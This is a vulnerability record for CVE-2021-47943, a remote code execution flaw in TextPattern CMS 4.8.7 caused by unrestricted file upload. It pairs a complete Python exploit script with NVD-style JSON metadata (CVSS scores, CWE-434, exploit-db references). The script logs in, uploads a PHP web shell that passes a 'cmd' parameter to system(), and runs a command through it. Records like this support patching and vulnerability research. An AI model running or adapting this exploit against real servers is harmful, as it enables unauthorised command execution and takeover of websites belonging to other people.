CVE-2021-47943

import requests # Target configuration target_url = "http://target-host/textpattern" username = "attacker" password = "password" session = requests.Session() # Step 1: Login to the CMS login_data = { "p_userid": username, "p_password": password } login_resp = session.post(f"{target_url}/index.php", data=login_data) if login_resp.status_code != 200: print("Login failed") exit() # Step 2: Upload malicious PHP file (WebShell) # The PHP code executes system command based on 'cmd' GET parameter php_shell_content = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>" files = { "file": ("exploit.php", php_shell_content, "application/x-php") } upload_resp = session.post(f"{target_url}/index.php?event=file", files=files) if upload_resp.status_code == 200 and "exploit.php" in upload_resp.text: print("File uploaded successfully.") # Step 3: Trigger the Remote Code Execution exploit_url = f"{target_url}/files/exploit.php" cmd = "whoami" exec_resp = session.get(exploit_url, params={"cmd": cmd}) print(f"Command '{cmd}' output:") print(exec_resp.text) else: print("Upload failed.")

{"cve": {"id": "CVE-2021-47943", "sourceIdentifier": "[email protected]", "published": "2026-05-10T13:16:30.627", "lastModified": "2026-05-12T14:24:15.210", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "TextPattern CMS 4.8.7 contains a remote code execution vulnerability that allows authenticated attackers to execute arbitrary commands by uploading malicious PHP files through the file upload functionality. Attackers can upload a PHP shell via the Files section in the content area and execute commands by accessing the uploaded file at /textpattern/files/ with GET parameters passed to the system function."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/49996", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50415", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/textpattern-cms-remote-code-execution-via-file-upload", "source": "[email protected]"}]}}